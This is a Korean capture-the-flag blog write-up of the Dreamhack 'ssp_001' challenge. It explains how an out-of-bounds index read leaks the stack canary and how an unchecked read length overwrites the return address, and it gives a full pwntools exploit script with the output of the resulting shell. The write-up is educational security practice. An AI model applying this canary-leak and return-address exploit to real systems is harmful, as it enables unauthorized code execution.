ssp_001

2022. 7. 18. 18:18·Wargame/Dreamhack
728x90
반응형

이번 문제는 SSP 방어기법, 즉 canary가 보호기법으로 걸려있는 문제이다.

이를 우회하기위해서는 memory leak이 발생한다면 이를 활용해서 canary를 확인하는 방법이 최선이며, 그게 아니라면 브루트포싱해야한다.

코드를 조금 분석해보자.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}
void get_shell() {
    system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
    printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
    puts("[F]ill the box");
    puts("[P]rint the box");
    puts("[E]xit");
    printf("> ");
}
int main(int argc, char *argv[]) {
    unsigned char box[0x40] = {};
    char name[0x40] = {};
    char select[2] = {};
    int idx = 0, name_len = 0;
    initialize();
    while(1) {
        menu();
        read(0, select, 2);
        switch( select[0] ) {
            case 'F':
                printf("box input : ");
                read(0, box, sizeof(box));
                break;
            case 'P':
                printf("Element index : ");
                scanf("%d", &idx);
                print_box(box, idx);
                break;
            case 'E':
                printf("Name Size : ");
                scanf("%d", &name_len);
                printf("Name : ");
                read(0, name, name_len);
                return 0;
            default:
                break;
        }
    }
}

코드부터 요약해서 해석해보면

alarm 함수와 initialize 함수는 제한시간과 버퍼 초기화를 위함이므로 무시하자.

중요한 부분은 두군데이며,

우선 print_box 함수.
즉, [P]rint the box 메뉴에서 scanf 함수 사용 시 idx 변수의 크기를 확인하지 않기 때문에 box 변수의 크기를 넘은 위치의 메모리 값을 출력할 수 있기 때문에 여기서 memory leak이 발생한다.

그리고 [E]xit 메뉴.
여기서는 scanf 및 read 함수로 그 크기와 값을 임의로 넣을 수 있는데 이를 통해 ret address까지 변조 가능하게 된다.

그러므로 전체적인 공격 흐름은
[P]rint the box 메뉴를 통한 canary 확인,
[E]xit 메뉴를 통한 get_shell 함수 실행
이 된다.

우선 gdb를 통해 box 변수의 크기 및 위치, canary의 위치, Exit 메뉴의 name 변수의 크기 및 위치를 확인해보자.

box 변수는 main 함수에서 사용되기 때문에 아래와 같이 확인할 수 있으며,

   ...
   0x080487d3 <+168>:   push   $0x40
   0x080487d5 <+170>:   lea    -0x88(%ebp),%eax
   0x080487db <+176>:   push   %eax
   0x080487dc <+177>:   push   $0x0
   0x080487de <+179>:   call   0x80484a0 <read@plt>
   ...

그 크기는 0x40, 위치는 %ebp-0x88 임을 알 수 있다.

canary의 위치 또한 main 함수에서 찾을 수 있으며,

   ...
   0x0804886c <+321>:   mov    -0x8(%ebp),%edx
   0x0804886f <+324>:   xor    %gs:0x14,%edx
   0x08048876 <+331>:   je     0x8048884 <main+345>
   0x08048878 <+333>:   jmp    0x804887f <main+340>
   0x0804887a <+335>:   jmp    0x8048790 <main+101>
   0x0804887f <+340>:   call   0x80484e0 <__stack_chk_fail@plt>
   ...

%ebp - 0x8 의 값을 %gs:0x14와 xor로 비교하는 것을 보아 해당 위치에 있음을 알 수 있으며, 32bit 환경이기에 4 byte의 값을 가지고 있을 것으로 추측할 수 있다.

마지막으로 name 변수도 main 함수에서 찾을 수 있으며,

   ...
   0x08048852 <+295>:   mov    -0x90(%ebp),%eax
   0x08048858 <+301>:   push   %eax
   0x08048859 <+302>:   lea    -0x48(%ebp),%eax
   0x0804885c <+305>:   push   %eax
   0x0804885d <+306>:   push   $0x0
   0x0804885f <+308>:   call   0x80484a0 <read@plt>
   ...

%ebp - 0x48에 위치함을 알 수 있다.

마지막으로 get_shell 함수의 주소를 찾아보면

gef➤  disas get_shell 
Dump of assembler code for function get_shell:
   0x080486b9 <+0>:     push   %ebp
   0x080486ba <+1>:     mov    %esp,%ebp
   0x080486bc <+3>:     push   $0x8048919
   0x080486c1 <+8>:     call   0x8048500 <system@plt>
   0x080486c6 <+13>:    add    $0x4,%esp
   0x080486c9 <+16>:    nop
   0x080486ca <+17>:    leave  
   0x080486cb <+18>:    ret    
End of assembler dump.

와 같다.

 

종합해보면
canary는 %ebp - 0x8에 4 byte의 값을 가지고 있고
box 변수는 %ebp - 0x88부터 시작되기 때문에
0x88 - 0x8 = 0x80 = 128번째부터 131번째까지가 canary 값이 될 것이며,
이를 포함한 0x48 byte + sfp 4 byte + get_shell 함수 주소
를 통해 shell을 실행시킬 수 있을 것이다.

즉, 전체적인 페이로드는 아래와 같아진다.

from pwn import *

canary = b''

p=remote('host3.dreamhack.games',21790)
#p=process('./ssp_001')

p.sendlineafter(b'> ',b'P')
p.sendlineafter(b': ',b'131')
p.recvuntil(b': ')
canary += p.recv(2)
p.sendlineafter(b'> ',b'P')
p.sendlineafter(b': ',b'130')
p.recvuntil(b': ')
canary += p.recv(2)
p.sendlineafter(b'> ',b'P')
p.sendlineafter(b': ',b'129')
p.recvuntil(b': ')
canary += p.recv(2)
p.sendlineafter(b'> ',b'P')
p.sendlineafter(b': ',b'128')
p.recvuntil(b': ')
canary += p.recv(2)
#packing 시 역순으로 변환되기에 반대로 131~128번째 값을 가져와서 canary 변수에 저장.

canary=p32(int(canary,16))

print(canary)

p.sendlineafter(b'> ',b'E')
p.sendlineafter(b': ',b'80')

pay = b''
pay += b'\x90'*64 #canary가 %ebp - 8에 위치하므로 dummy는 68 byte가 아니라 64 byte
pay += canary
pay += b'\x90'*8 #canary가 %ebp - 8에 위치하므로 canary 이후 4 byte를 채워주고 sfp를 채워줌.
pay += p32(0x080486b9) #get_shell 함수 주소

p.sendlineafter(b': ',pay)
p.interactive()

 

 

┌──(kali㉿kali)-[~/Downloads/dc29bd91-ee07-4643-b106-58cc09cf3fa2]
└─$ python a.py
[+] Opening connection to host3.dreamhack.games on port 21790: Done
b'\x00\x8a\xb8\xf3'
[*] Switching to interactive mode
$ id
uid=1000(ssp_001) gid=1000(ssp_001) groups=1000(ssp_001)
$ cat flag
DH{----------#플래그는 삭제}

 

728x90
반응형
저작자표시 비영리 변경금지 (새창열림)

'Wargame > Dreamhack' 카테고리의 다른 글

Return to Library  (0) 2022.07.19
Return to Shellcode  (0) 2022.07.19
basic_exploitation_001  (0) 2022.07.18
basic_exploitation_000  (0) 2022.07.18
Return Address Overwrite  (0) 2022.07.18
'Wargame/Dreamhack' 카테고리의 다른 글
  • Return to Library
  • Return to Shellcode
  • basic_exploitation_001
  • basic_exploitation_000
wyv3rn
wyv3rn
아저씨의 흔한 취미. wyv3rn#1249
  • wyv3rn
    think storage
    wyv3rn
  • 전체
    오늘
    어제
    • 분류 전체보기 (502) N
      • To do list (7)
        • Doing (1)
        • Complete (6)
      • Diary (35)
      • Tips & theory (79) N
      • Kernel Exploit (27)
        • Theory (15)
        • Exercise (5)
      • Wargame (313)
        • pwn.college (34)
        • Dreamhack (148)
        • pwnable.kr (15)
        • Lord of Sqlinjection (3)
        • Cryptohack (20)
        • Root me (27)
        • CodeEngn (4)
        • Exploit Education (22)
        • ROP Emporium (8)
        • H4C (10)
        • Hackerchool (22)
      • CTF (41)
        • Solved (39)
        • Unsolved (2)
      • Script (0)
      • RubiyaLap (0)
  • 블로그 메뉴

    • 홈
    • 방명록
  • 링크

  • 공지사항

    • PWN wargame 모음 (및 느낀점)
    • 비공개 글들에 대해.
    • 뭐라도 하나 얻어가시길...
  • 인기 글

  • 태그

    vtable
    lob
    Me
    FSB
    pwnable.kr
    x86
    tcache
    Buffer Overflow
    BOF
    cryptohack
    x64
    ROOT ME
    heap
    la ctf
    dreamhack
    root
    phoenix
    Format String Bug
    libc
    hackerschool
    32bit
    CANARY
    rop
    RTL
    _IO_FILE
    pwntools
    64bit
    exploit education
    root-me
    docker
  • 최근 댓글

  • 최근 글

  • 250x250
    반응형
  • hELLO· Designed By정상우.v4.10.3
wyv3rn
ssp_001
상단으로

티스토리툴바